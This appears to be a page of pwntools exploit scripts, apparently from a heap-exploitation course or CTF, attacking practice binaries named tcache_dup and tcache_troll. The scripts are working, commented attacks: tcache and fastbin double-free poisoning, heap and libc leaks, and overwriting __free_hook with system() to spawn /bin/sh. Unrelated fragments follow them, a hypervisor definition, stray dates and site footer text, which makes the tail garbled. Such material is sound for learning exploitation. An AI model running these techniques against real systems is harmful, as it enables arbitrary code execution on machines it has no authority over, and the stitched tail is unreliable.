#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./tcache_dup', checksec=False)
#libc = ELF('', checksec=False)
libc = elf.libc
gs = """
b *main
b *main+253
b *main+363
b *main+430
b *main+536
"""
def info(mess):
return log.info(mess)
def success(mess):
return log.success(mess)
def error(mess):
log.error(mess)
def start():
if args.GDB:
return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs)
elif args.REMOTE:
return remote('', )
else:
return process(elf.path, env={"LD_LIBRARY_PATH": libc.path})
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
global index
io.send("1")
io.sendafter("size: ", f"{size}")
io.sendafter("data: ", data)
io.recvuntil("> ")
index += 1
return index - 1
# Select the "free" option; send index.
def free(index):
io.send("2")
io.sendafter("index: ", f"{index}")
io.recvuntil("> ")
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# Request a 0x20-sized chunk.
dup = malloc(0x18, "A"*8)
# Leverage the double-free bug to free the "dup" chunk twice.
free(dup)
free(dup)
# The next request for a 0x20-sized chunk will be serviced by the "dup" chunk.
# Request it, then overwrite its tcachebin fd, pointing it at the target data.
# There is no need to account for the chunk header because the tcache uses pointers to chunk user
# data rather than to chunk headers.
malloc(0x18, pack(elf.sym.target))
# Make another request for a 0x20-sized chunk; the same chunk is allocated to service this request.
malloc(0x18, "B"*8)
# The next request for a 0x20-sized chunk is serviced by the fake chunk overlapping the target data.
malloc(0x18, "Much win")
# Check that the target data was overwritten.
io.sendthen(b"target: ", b"3")
target_data = io.recvuntil(b"\n", True)
assert target_data == b"Much win"
io.recvuntil(b"> ")
# =============================================================================
io.interactive()
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./tcache_dup', checksec=False)
#libc = ELF('', checksec=False)
libc = elf.libc
gs = """
b *main
b *main+253
b *main+363
b *main+430
b *main+536
"""
def info(mess):
return log.info(mess)
def success(mess):
return log.success(mess)
def error(mess):
log.error(mess)
def start():
if args.GDB:
return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs)
elif args.REMOTE:
return remote('', )
else:
return process(elf.path, env={"LD_LIBRARY_PATH": libc.path})
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
global index
io.send("1")
io.sendafter("size: ", f"{size}")
io.sendafter("data: ", data)
io.recvuntil("> ")
index += 1
return index - 1
# Select the "free" option; send index.
def free(index):
io.send("2")
io.sendafter("index: ", f"{index}")
io.recvuntil("> ")
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# Request a 0x20-sized chunk.
dup = malloc(0x18, "A"*8)
# Leverage the double-free bug to free the "dup" chunk twice.
free(dup)
free(dup)
# The next request for a 0x20-sized chunk will be serviced by the "dup" chunk.
# Request it, then overwrite its tcachebin fd, pointing it at the free hook.
# There is no need to account for the chunk header because the tcache uses pointers to chunk user
# data rather than to chunk headers.
malloc(0x18, pack(libc.sym.__free_hook))
# Make another request for a 0x20-sized chunk; the same chunk is allocated to service this request.
# Write the string "/bin/sh" into this chunk for use later as the argument to system().
binsh = malloc(0x18, "/bin/sh\0")
# The next request for a 0x20-sized chunk is serviced by the fake chunk overlapping the free hook.
# Use it to overwrite the free hook with the address of system().
malloc(0x18, pack(libc.sym.system))
# Free the chunk with the string "/bin/sh" in the first qword of its user data.
# This triggers a call to system("/bin/sh").
free(binsh)
# =============================================================================
io.interactive()
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./tcache_dup_2.31', checksec=False)
#libc = ELF('', checksec=False)
libc = elf.libc
gs = """
b *main
b *main+262
b *main+388
b *main+473
b *main+600
"""
def info(mess):
return log.info(mess)
def success(mess):
return log.success(mess)
def error(mess):
log.error(mess)
def start():
if args.GDB:
return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs)
elif args.REMOTE:
return remote('', )
else:
return process(elf.path, env={"LD_LIBRARY_PATH": libc.path})
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
global index
io.send("1")
io.sendafter("size: ", f"{size}")
io.sendafter("data: ", data)
io.recvuntil("> ")
index += 1
return index - 1
# Select the "free" option; send index.
def free(index):
io.send("2")
io.sendafter("index: ", f"{index}")
io.recvuntil("> ")
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# Request 7 0x20-sized chunks.
for n in range(7):
malloc(0x18, "A"*8)
# Request a "dup" chunk to duplicate.
dup = malloc(0x18, "B"*8)
# Fill the 0x20 tcachebin with the first 7 chunks.
for n in range(7):
free(n)
# Free the "dup" chunk into the 0x20 fastbin.
free(dup)
# Purge the 0x20 tcachebin.
for n in range(7):
malloc(0x18, "C"*8)
# Double-free the "dup" chunk into the 0x20 tcachebin.
free(dup)
# The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the "dup" chunk.
# Request it, then overwrite its fastbin fd, pointing it near to the target data. The fd of the fake chunk
# overlapping the target must be null.
malloc(0x18, pack(elf.sym.target - 0x18))
# The next request for a 0x20-sized chunk is serviced from the 0x20 fastbin by the "dup" chunk.
# The tcache code will dump any remaining chunks from the 0x20 fastbin into the 0x20 tcachebin, including the fake chunk.
malloc(0x18, "D"*8)
# The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the fake chunk that overlaps the target data.
# Request it, then overwrite the target data.
malloc(0x18, "Y"*8 + "Much win")
# Check that the target data was overwritten.
io.sendthen(b"target: ", b"3")
target_data = io.recvuntil(b"\n", True)
assert target_data == b"Much win"
io.recvuntil(b"> ")
# =============================================================================
io.interactive()
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./tcache_dup_2.31', checksec=False)
#libc = ELF('', checksec=False)
libc = elf.libc
gs = """
b *main
b *main+262
b *main+388
b *main+473
b *main+600
"""
def info(mess):
return log.info(mess)
def success(mess):
return log.success(mess)
def error(mess):
log.error(mess)
def start():
if args.GDB:
return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs)
elif args.REMOTE:
return remote('', )
else:
return process(elf.path, env={"LD_LIBRARY_PATH": libc.path})
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
global index
io.send("1")
io.sendafter("size: ", f"{size}")
io.sendafter("data: ", data)
io.recvuntil("> ")
index += 1
return index - 1
# Select the "free" option; send the index.
def free(index):
io.send("2")
io.sendafter("index: ", f"{index}")
io.recvuntil("> ")
io = start()
# This binary leaks the address of puts(), use it to resolve the libc load address.
io.recvuntil("puts() @ ")
libc.address = int(io.recvline(), 16) - libc.sym.puts
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# Request 7 0x20-sized chunks.
for n in range(7):
malloc(0x18, "A"*8)
# Request a "dup" chunk to duplicate.
dup = malloc(0x18, "B"*8)
# Fill the 0x20 tcachebin with the first 7 chunks.
for n in range(7):
free(n)
# Free the "dup" chunk into the 0x20 fastbin.
free(dup)
# Purge the 0x20 tcachebin.
# Use this opportunity to write the string "/bin/sh" into a chunk that can be freed later.
for n in range(7):
binsh = malloc(0x18, "/bin/sh\0")
# Double-free the "dup" chunk into the 0x20 tcachebin.
free(dup)
# The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the "dup" chunk.
# Request it, then overwrite its fastbin fd, pointing it near to the free hook. The fd of the fake chunk
# overlapping the free hook must be null.
malloc(0x18, pack(libc.sym.__free_hook - 0x10))
# The next request for a 0x20-sized chunk is serviced from the 0x20 fastbin by the "dup" chunk.
# The tcache code will dump any remaining chunks from the 0x20 fastbin into the 0x20 tcachebin, including the fake chunk.
malloc(0x18, "C"*8)
# The next request for a 0x20-sized chunk is serviced from the 0x20 tcachebin by the fake chunk that overlaps the free hook.
# Request it, then overwrite the free hook with the address of system().
malloc(0x18, pack(libc.sym.system))
# Free a chunk containing the string "/bin/sh" to trigger system("/bin/sh").
free(binsh)
# =============================================================================
io.interactive()
#!/usr/bin/env python3
from pwn import *
context.log_level = 'debug'
context.binary = elf = ELF('./tcache_troll', checksec=False)
#libc = ELF('', checksec=False)
libc = elf.libc
gs = """
b *main
b *main+260
b *main+386
b *main+594
b *main+745
b *main+928
"""
def info(mess):
return log.info(mess)
def success(mess):
return log.success(mess)
def error(mess):
log.error(mess)
def start():
if args.GDB:
return gdb.debug(elf.path, env={"LD_PRELOAD": libc.path},gdbscript=gs)
elif args.REMOTE:
return remote('', )
else:
return process(elf.path, env={"LD_LIBRARY_PATH": libc.path})
# Index of allocated chunks.
index = 0
# Select the "malloc" option; send size & data.
# Returns chunk index.
def malloc(size, data):
global index
io.send(b"1")
io.sendafter(b"size: ", f"{size}".encode())
io.sendafter(b"data: ", data)
io.recvuntil(b"> ")
index += 1
return index - 1
# Select the "free" option; send index.
def free(index):
io.send(b"2")
io.sendafter(b"index: ", f"{index}".encode())
io.recvuntil(b"> ")
# Select the "read" option.
# Returns 8 bytes.
def read(index):
io.send(b"3")
io.sendafter(b"index: ", f"{index}".encode())
r = io.recv(8)
io.recvuntil(b"> ")
return r
io = start()
io.recvuntil(b"> ")
io.timeout = 0.1
# =============================================================================
# =-=-=- LEAK A HEAP ADDRESS -=-=-=
# Request a 0x90-sized "dup" chunk.
# Freeing this when the 0x90 tcache count is >=7 will link it into the unsortedbin.
dup = malloc(0x88, b"dup")
# Request a minimum-sized chunk to guard against consolidation with the top.
# Write the string "/bin/sh" into it for use with the free hook later.
binsh = malloc(0x18, b"/bin/sh\0")
# Leverage the double-free bug to link the "dup" chunk into the 0x90 tcachebin twice.
free(dup)
free(dup)
# Request the same "dup" chunk from the tcache, label it "leaker" this time.
leaker = malloc(0x88, b"leaker")
# Free the "dup" chunk once more to write tcache metadata into the "leaker" chunk.
free(dup)
# Leak the address of the "dup" chunk's user data.
# Subtract 0x10 to account for chunk metadata, then subtract 0x250 (the size of the tcache chunk) to yield the heap start address.
heap = (unpack(read(leaker)) - 0x10) - 0x250
success(f"heap @ 0x{heap:02x}")
# =-=-=- LEAK UNSORTEDBIN ADDRESS -=-=-=
# Link a fake chunk overlapping the tcache into the tcache.
malloc(0x88, pack(heap + 0x10))
# Request the fake chunk overlapping the tcache, use it to set the 0x90 tcache count to 7.
# Point the 0x90 tcache slot at the tcache entry fields.
malloc(0x88, b"Y"*8) # Allocates the "dup" chunk.
malloc(0x88, p8(0)*7 + p8(7) + p8(0)*56 + pack(0)*7 + pack(heap + 0x50))
# Free the "dup" chunk into the unsortedbin, writing the unsortedbin address into the "leaker" chunk.
free(dup)
# Leak the address of the unsortedbin.
# Subtract 0x60 to find the start of the main arena, then subtract the main arena's offset to yield the libc.so load address.
libc.address = (unpack(read(leaker)) - 0x60) - libc.sym.main_arena
success(f"libc @ 0x{libc.address:02x}")
# =-=-=- OVERWRITE THE FREE HOOK -=-=-=
# Request the 0x90 chunk overlapping the tcache.
# Point the 0x20 tcache slot at the free hook.
malloc(0x88, pack(libc.sym.__free_hook))
# Request the fake chunk overlapping the free hook, write the address of system() there.
malloc(0x18, pack(libc.sym.system))
# Free a chunk containing the string "/bin/sh" to execute system("/bin/sh").
free(binsh)
# =============================================================================
io.interactive()
A hypervisor is a software that you can use to run multiple virtual machines on a single physical machine. Every virtual machine has its own operating system and applications. The hypervisor allocates the underlying physical computing resources such as CPU and memory to individual virtual machines as required.
Aug 2, 2024-You only use strings command and check correct input.
Aug 1, 2024:::
Jul 11, 2024:::
Jul 4, 2024or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up